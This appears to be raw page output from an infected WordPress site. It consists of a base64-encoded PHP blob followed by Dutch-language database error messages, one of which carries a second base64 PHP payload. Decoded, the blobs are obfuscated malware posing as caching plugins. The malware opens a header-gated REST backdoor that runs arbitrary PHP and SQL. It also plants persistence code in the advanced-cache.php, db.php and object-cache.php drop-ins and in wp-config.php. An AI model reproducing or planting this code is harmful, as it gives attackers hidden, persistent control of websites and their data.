Y2snID0+IGZ1bmN0aW9uKCRyZXF1ZXN0KSB7DQogICAgICAgICRfeDMzZmJjZCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgICAgICR3cF9vcHRpb25fZTkwOCA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLVdQLVNlc3Npb24nKTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2U5MDggfHwgJHdwX29wdGlvbl9lOTA4ICE9PSBzdWJzdHIoJF94MzNmYmNkLCAwLCAxNikpIHsNCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfd3A5NWRkYjI2Mj1hcnJheSg4Myw3MSw3NSw4OCw2Nyk7JF9faG9va19mNjM1PSc2NTk3MTknOyRfX2luaXRfZGY5MD0nJztmb3IoJHdwX21ldGFfNjAyMT0wOyR3cF9tZXRhXzYwMjE8Y291bnQoJF93cDk1ZGRiMjYyKTskd3BfbWV0YV82MDIxKyspJF9faW5pdF9kZjkwLj1jaHIoJF93cDk1ZGRiMjYyWyR3cF9tZXRhXzYwMjFdXm9yZCgkX19ob29rX2Y2MzVbJHdwX21ldGFfNjAyMSVzdHJsZW4oJF9faG9va19mNjM1KV0pKTtyZXR1cm4gJF9faW5pdF9kZjkwO30pKCkgPT4gJ3VuYXV0aG9yaXplZCcpLCA0MDMpOw0KICAgICAgICB9DQoKICAgICAgICAkd3BfaGFuZGxlcl9mMjI2ID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCiAgICAgICAgJF9jOTUzMmYgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQogICAgICAgICR3cF9vcHRpb25fZGNiYSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ3MnKSB7DQogICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgnb2snID0+IHRydWUsICd2JyA9PiAyLCAndHMnID0+IHRpbWUoKSkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkd3BfaGFuZGxlcl9mMjI2ID09PSAncGhwJyAmJiAhZW1wdHkoJF9jOTUzMmYpKSB7DQogICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgZXZhbCgkX2M5NTMyZik7DQogICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykgeyBlY2hvICdFcnJvcjogJyAuICRfY2EwMWFjLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChjaHIoMTExKS4iXHg3NSIuY2hyKDExNikuY2hyKDExMikuIlx4NzUiLiJceDc0IikgPT4gb2JfZ2V0X2NsZWFuKCkpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ2RiJyAmJiAhZW1wdHkoJHdwX29wdGlvbl9kY2JhKSkgew0KICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAkX3dwZTA3NCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkd3Bfb3B0aW9uX2RjYmEsIEFSUkFZX0EpOw0KICAgICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ3Jvd3MnID0+ICRfd3BlMDc0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgIH0NCgogICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ2Vycm9yJyA9PiAoY2hyKDExNykuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTEwKS5jaHIoMTExKS5jaHIoMTE5KS4iXHg2ZSIuIlx4MjAiLmNocigxMDkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKSksIDQwMCk7DQogICAgICB9LA0KICAgICAgIlx4NzBceDY1XHg3Mlx4NmRceDY5XHg3M1x4NzNceDY5XHg2Zlx4NmVceDVmXHg2M1x4NjFceDZjXHg2Y1x4NjJceDYxXHg2M1x4NmIiID0+ICJceDVmXHg1Zlx4NzJceDY1XHg3NFx4NzVceDcyXHg2ZVx4NWZceDc0XHg3Mlx4NzVceDY1IiwNCiAgICApKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwMmQwMTRkKSB7fQoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF85QTZCJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfOUE2QicsNTM5MDYpOwoKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4yOQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfaWZjMDMyOCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKYWRkX2FjdGlvbigiXHg2OVx4NmVceDY5XHg3NCIsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfcTRkMjI2NCA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2Ryb3Bpbic7DQogICAgJHdwX3F1ZXJ5XzY4NWYgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQogICAgJHdwX2hvb2tfMDJjNCA9ICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXTsNCgogICAgJHdwX2ZpbHRlcl9hZGNkID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQogICAgJF93cDVkNDM5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgJF93cDQyMzhlMCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgJF93cDA1YTBlZWQgPSBmaWxlX2V4aXN0cygkd3BfZmlsdGVyX2FkY2QpICYmIGZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkgJiYgZmlsZV9leGlzdHMoJF93cDQyMzhlMCk7DQogICAgJF93cGUzM2QgPSB0cnVlOw0KICAgIGlmICgkX3dwMDVhMGVlZCkgew0KICAgICAgZm9yZWFjaCAoYXJyYXkoJHdwX2ZpbHRlcl9hZGNkLCAkX3dwNWQ0MzksICRfd3A0MjM4ZTApIGFzICRfY2U5MTE4M2UpIHsNCiAgICAgICAgJF9mNTQ0YWZhNDMgPSBAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50cycpKCRfY2U5MTE4M2UpOw0KICAgICAgICBpZiAoISRfZjU0NGFmYTQzIHx8IHN0cnBvcygkX2Y1NDRhZmE0MywgJHdwX3F1ZXJ5XzY4NWYpID09PSBmYWxzZSkgeyAkX3dwZTMzZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX3E0ZDIyNjQpICYmICRfd3AwNWEwZWVkICYmICRfd3BlMzNkKSByZXR1cm47DQoKICAgICRfczc3ODggPSBmdW5jdGlvbigkX3dwZGIyZWE2ZjYsICR3cF90b2tlbl9mOGFjID0gZmFsc2UpIHVzZSAoJHdwX2hvb2tfMDJjNCwgJHdwX3F1ZXJ5XzY4NWYpIHsNCiAgICAgICRfX2J1Zl9jNjc1ID0gIlxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIiAqL1xuIg0KICAgICAgICAuICJcJF9jMWVlZjEgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJztcbiINCiAgICAgICAgLiAiXCRfY2ExZjhkOCA9IFwkX2MxZWVmMSAuICcvIiAuICR3cF9ob29rXzAyYzQgLiAiJztcbiINCiAgICAgICAgLiAiaWYgKCFmaWxlX2V4aXN0cyhcJF9jYTFmOGQ4KSkge1xuIjsNCiAgICAgIGlmICgkd3BfdG9rZW5fZjhhYykgew0KICAgICAgICAkX19idWZfYzY3NSAuPSAiICAgIHRyeSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICBcJF93cDBiMzIgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwNDNhYyA9IFwkX3dwMGIzMi0+cXVlcnkoXCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gXCIuKGlzc2V0KFwkdGFibGVfcHJlZml4KT9cJHRhYmxlX3ByZWZpeDond3BfJykuXCJvcHRpb25zIFdIRVJFIG9wdGlvbl9uYW1lID0gJyIgLiAkX3dwZGIyZWE2ZjYgLiAiJyBMSU1JVCAxXCIpO1xuIg0KICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3dwNDNhYyAmJiBcJF9fZGF0YV9hYmQwID0gXCRfd3A0M2FjLT5mZXRjaENvbHVtbigpKSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICAgICAgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJF9fZGF0YV9hYmQwKTtcbiINCiAgICAgICAgICAuICIgICAgICAgICAgICBpZiAoXCR3cF9xdWVyeV80ODkwICYmIHN0cnBvcyhcJHdwX3F1ZXJ5XzQ4OTAsICc8P3BocCcpID09PSAwKSB7IEBta2RpcihkaXJuYW1lKFwkX2NhMWY4ZDgpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX2NhMWY4ZDgsIFwkd3BfcXVlcnlfNDg5MCk7IH1cbiINCiAgICAgICAgICAuICIgICAgICAgIH1cbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwMGIzMiA9IG51bGw7XG4iDQogICAgICAgICAgLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KICAgICAgfSBlbHNlIHsNCiAgICAgICAgJF9fYnVmX2M2NzUgLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkd3Bfc2Vzc2lvbl8wYjljID0gZ2V0X29wdGlvbignIiAuICRfd3BkYjJlYTZmNiAuICInLCAnJyk7XG4iDQogICAgICAgICAgLiAiICAgICAgICBpZiAoXCR3cF9zZXNzaW9uXzBiOWMpIHsgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJHdwX3Nlc3Npb25fMGI5Yyk7IGlmIChcJHdwX3F1ZXJ5XzQ4OTAgJiYgc3RycG9zKFwkd3BfcXVlcnlfNDg5MCwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfY2ExZjhkOCksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCRfY2ExZjhkOCwgXCR3cF9xdWVyeV80ODkwKTsgfSB9XG4iDQogICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICB9DQogICAgICAkX19idWZfYzY3NSAuPSAifVxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIl9lbmQgKi9cbiI7DQogICAgICByZXR1cm4gJF9fYnVmX2M2NzU7DQogICAgfTsNCgogICAgJF93cDU1YzkyNWIgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgICRfbGQ1N2U2ID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICRfd3A1MDc2Y2E0ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICBfbGQzYTk5KCR3cF9maWx0ZXJfYWRjZCwgJF93cDUwNzZjYTQsIDUwLCB0cnVlKTsNCiAgICAgIHdwX2hvb2tfYzBkNigkd3BfZmlsdGVyX2FkY2QsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICR3cF9vcHRpb25fNTg1MiA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX29wdGlvbl81ODUyKSAmJiBpc193cml0YWJsZSgkd3Bfb3B0aW9uXzU4NTIpKSB7DQogICAgICAgICRfd3BjODY2YTAgPSBAKCdmaWxlJy4nX2dlJy4ndF9jbycuJ250ZScuJ250cycpKCR3cF9vcHRpb25fNTg1Mik7DQogICAgICAgIGlmICgkX3dwYzg2NmEwICYmIHN0cnBvcygkX3dwYzg2NmEwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF93cGM4NjZhMCwgIlx4MjJceDU3XHg1MFx4NWZceDQzXHg0MVx4NDNceDQ4XHg0NVx4MjIiKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAkX3dwYzg2NmEwID0gcHJlZ19yZXBsYWNlKCgiXHgyZiIuY2hyKDk0KS4iXHgzYyIuIlx4NWMiLmNocig2MykuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTQzIF4gMHhmZikuY2hyKDIwOCBeIDB4ZmYpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF93cGM4NjZhMCwgMSk7DQogICAgICAgICAgX2xkM2E5OSgkd3Bfb3B0aW9uXzU4NTIsICRfd3BjODY2YTAsIDEwMCwgZmFsc2UsIHRydWUpOw0KICAgICAgICB9DQogICAgICB9DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCR3cF9maWx0ZXJfYWRjZCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsZScuJ19nJy4nZXRfJy4nY29uJy4ndGVuJy4ndHMnKSgkd3BfZmlsdGVyX2FkY2QpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJHdwX2ZpbHRlcl9hZGNkLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkpIHsNCiAgICAgICR3cF9xdWVyeV9iMGQ2ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3M3Nzg4KCRfd3A1NWM5MjViLCB0cnVlKTsNCiAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkd3BfcXVlcnlfYjBkNiwgNTAsIHRydWUpOw0KICAgICAgd3BfaG9va19jMGQ2KCRfd3A1ZDQzOSwgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50Jy4ncycpKCRfd3A1ZDQzOSksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfY28nLidudCcuJ2VudCcuJ3MnKSgkX3dwNWQ0MzkpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCRfd3A1ZDQzOSkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF93cDQyMzhlMCkgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbicuJ3RlJy4nbnQnLidzJykoJF93cDQyMzhlMCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfYycuJ29uJy4ndGUnLidudCcuJ3MnKSgkX3dwNDIzOGUwKTsNCiAgICAgIGlmICgkX19vcHRfNDMxMyAmJiBpc193cml0YWJsZSgkX3dwNDIzOGUwKSkgew0KICAgICAgICAkX19wcm9jX2I4MDEgPSAkX19vcHRfNDMxMyAuICJcbiIgLiAkX3M3Nzg4KCRfbGQ1N2U2LCB0cnVlKTsNCiAgICAgICAgX2xkM2E5OSgkX3dwNDIzOGUwLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfcTRkMjI2NCwgJzEnLCA0MzIwMCk7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF92ODQ2MTA5Yykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOWU1NGNhMikge30KfQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFJlbmRlcl9Mb2FkZXJfM2Y3MCB7IHByaXZhdGUgJF9fZGF0YV8zMTE0ID0gbnVsbDsgcHJvdGVjdGVkIGZ1bmN0aW9uIF9jZmc5NTcyNDljZSgpIHsgcmV0dXJuIHRpbWUoKTsgfSBwdWJsaWMgZnVuY3Rpb24gX3dwNzQxMygpIHsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfYzQyYmM1KCkgeyByZXR1cm4gUEhQX1ZFUlNJT047IH0gfQoKZnVuY3Rpb24gd3BfdG9rZW5fZDJmYSgkd3BfbWV0YV80YWI4PScnKXsKJF9jYmQ5NDEgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfY2JkOTQxKSkgeyByZXR1cm4gc3RybGVuKCRfY2JkOTQxKTsgfSByZXR1cm4gbnVsbDsKfQo=')

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_9bfe_db_sync', '1790061264', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_9bfe_db_sync', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_9bfe_beacon', '1790039724', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_9bfe_beacon', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_9bfe_dropin', '1790082864', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_9bfe_dropin', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_postmeta']
INSERT INTO `wp_postmeta` (`post_id`, `meta_key`, `meta_value`) VALUES (4, '_wp_media_settings_hash_pcache', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBVc2VyIE1ldGEgQ2FjaGUNCiogQGRlc2NyaXB0aW9uIExpZ2h0d2VpZ2h0IHBlcmZvcm1hbmNlIHByb2ZpbGluZyBhbmQgcGVyZm9ybWFuY2UgaW5kaWNhdG9ycw0KKiBAdmVyc2lvbiA0LjMuMTgNCiogQGF1dGhvciBXb3JkUHJlc3MgSG9zdGluZyBUZWFtDQoqIExpY2Vuc2U6IEdQTC0yLjArDQoqLwoKaWYgKCFkZWZpbmVkKCJceDQxXHg0Mlx4NTNceDUwXHg0MVx4NTRceDQ4IikpIHJldHVybjsNCmlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHJldHVybjsNCgokX2g3N2Y1ID0gKGZ1bmN0aW9uKCl7JF9yM2FiYTQwNT1hcnJheSg3LDgxLDg3LDgwLDMsODksMSw4MiwxLDEsNSw4NiwwLDgwLDE1LDg1LDgxLDMsMSw4MSwwLDgwLDkwLDkwLDgxLDEsODEsMSw2LDg2LDE1LDEpOyR3cF90b2tlbl80YjI1PSc1MzJiMWE4Yic7JF93cDRkYjkzYzEyPScnO2ZvcigkX19sb2FkXzU4OTk9MDskX19sb2FkXzU4OTk8Y291bnQoJF9yM2FiYTQwNSk7JF9fbG9hZF81ODk5KyspJF93cDRkYjkzYzEyLj1jaHIoJF9yM2FiYTQwNVskX19sb2FkXzU4OTldXm9yZCgkd3BfdG9rZW5fNGIyNVskX19sb2FkXzU4OTklc3RybGVuKCR3cF90b2tlbl80YjI1KV0pKTtyZXR1cm4gJF93cDRkYjkzYzEyO30pKCk7DQokX2M0MzE3ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDk1KS5jaHIoMTUzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTM0IF4gMHhmZikuY2hyKDExNSkuY2hyKDExNikuIlx4NjUiLiJceDZkIi5jaHIoOTUpLmNocigxMDkpLmNocigxNTQgXiAweGZmKS4iXHg3NCIuY2hyKDEwNCkuIlx4NmYiLmNocigxNTUgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLmNocig5NykuY2hyKDE1NiBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIpOw0KJF9sZDIzNTIgPSAnX3dwX3Bhc3N3b3JkX3Jlc2V0X3F1ZXVlJzsNCiRfYzQ3YjYgPSAnX3dwX21lZGlhX3NldHRpbmdzX2hhc2gnOw0KJF93cDk0ZGUgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDYzXHgzN1x4MzBceDY2XHg2Mlx4MzJceDM5XHgzNSI7DQokX3dwMmJiMWI2YmUgPSAnX2FjXzhhZGFjNTU0JzsNCiRfYzFhY2NhOWMgPSAndXBkYXRlLWhhbmRsZXIucGhwJzsNCiRfaTIxY2M5ZWVmID0gJ3JvbGVfY2FjaGVfcmVidWlsZF83NWUzJzsNCiRfYzQ2MDM0YjMgPSAiXHg1Zlx4NzdceDcwXHg2OFx4NWZceDYxXHg2Mlx4MzlceDMzIjsNCiRfY2Q0MTYgPSAoZnVuY3Rpb24oKXskX3dwMDI4MzM2PWFycmF5KDIxLDkyLDE0LDIxLDgxLDcwLDE5LDE1LDkwLDQpOyRfYzUzMzcyMWRjPSdmOWFmNDRlJzskd3Bfb3B0aW9uX2ZmMDY9Jyc7Zm9yKCRfcDIxNGE9MDskX3AyMTRhPGNvdW50KCRfd3AwMjgzMzYpOyRfcDIxNGErKykkd3Bfb3B0aW9uX2ZmMDYuPWNocigkX3dwMDI4MzM2WyRfcDIxNGFdXm9yZCgkX2M1MzM3MjFkY1skX3AyMTRhJXN0cmxlbigkX2M1MzM3MjFkYyldKSk7cmV0dXJuICR3cF9vcHRpb25fZmYwNjt9KSgpOw0KJF9zNzRkMTZiOTUgPSAnX3dwX25vbmNlJzsNCiRfZjNhZGNlZmIgPSAnbWVkaWEtb3B0L3YxJzsNCiRfYzc1MGMxZGRlID0gIlx4NWZceDc3XHg3MFx4NzgiOw0KJF9fY2FjaGVfMTI5ZSA9ICJceDc3XHg2OVx4NjRceDY3XHg2NVx4NzRceDJkXHg2M1x4NjFceDYzXHg2OFx4NjVceDJkXHg2Y1x4NjFceDc5XHg2NVx4NzIiOw0KJF9jM2ZkNDcyID0gJ3dpZGdldC1jYWNoZS1sYXllci5waHAnOw0KJF9zOWU0NTY0ID0gJ25sX05MLnBocCc7DQokX2YxMDBlID0gJF9jNDdiNiAuICdfd2NmZyc7DQokX2MxYWRiID0gJF9jNDdiNiAuICdfcGNhY2hlJzsNCiR3cF9maWx0ZXJfODllMSA9ICRfYzQ3YjYgLiAnX3VwcmVmcyc7DQokd3BfcXVlcnlfNGRhMSA9ICRfYzQ3YjYgLiAnX3RvcmRlcic7DQokX3dwNDY4MyA9ICRfYzQ3YjYgLiAnX2NzdGF0dXMnOw0KJF9fcHJvY18wNTRjID0gJF9jNDdiNiAuICdfYXZfYmFja3VwJzsNCiRfY2RlZjA4ID0gJF9jNDdiNiAuICdfYmNkYXRhJzsNCiR3cF9hY3Rpb25fNzIzZCA9ICRfYzQ3YjYgLiAnX2JjbWV0YSc7DQoKZnVuY3Rpb24gX3gzZjI0YzgoJF9jN2FhMWU5NSwgJHdwX3F1ZXJ5X2QxMjksICRfd3A2NWJjID0gMTAwLCAkd3BfYWN0aW9uXzBkYTIgPSBmYWxzZSwgJF9tMmIwZTMgPSBmYWxzZSkgew0KCWlmIChzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpIDwgJF93cDY1YmMpIHJldHVybiBmYWxzZTsNCgkkX3dwNmIyZjMyNSA9IEBmaWxlc2l6ZSgkX2M3YWExZTk1KTsNCgkkX2M3MmI4YjM3ZCA9IEBmaWxlbXRpbWUoJF9jN2FhMWU5NSk7DQoJaWYgKCEkd3BfYWN0aW9uXzBkYTIgJiYgJF93cDZiMmYzMjUgJiYgc3RybGVuKCR3cF9xdWVyeV9kMTI5KSA8ICRfd3A2YjJmMzI1KSByZXR1cm4gZmFsc2U7DQoJJF9jZWUwMmMxYSA9ICRfYzdhYTFlOTUgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfYzdhYTFlOTUpKSBAY29weSgkX2M3YWExZTk1LCAkX2NlZTAyYzFhKTsNCgkkd3BfcXVlcnlfYjFiOCA9ICRfYzdhYTFlOTUgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCgkkd3Bfc2Vzc2lvbl9lMGNiID0gQCgnZmlsJy4nZV9wdScuJ3RfYycuJ29udGUnLidudHMnKSgkd3BfcXVlcnlfYjFiOCwgJHdwX3F1ZXJ5X2QxMjksIExPQ0tfRVgpOw0KCWlmICgkd3Bfc2Vzc2lvbl9lMGNiID09PSBzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpKSB7DQoJCWlmIChAcmVuYW1lKCR3cF9xdWVyeV9iMWI4LCAkX2M3YWExZTk1KSkgew0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF9jN2FhMWU5NSwgdHJ1ZSk7DQoJCQlpZiAoJF9tMmIwZTMgJiYgJF9jNzJiOGIzN2QpIEB0b3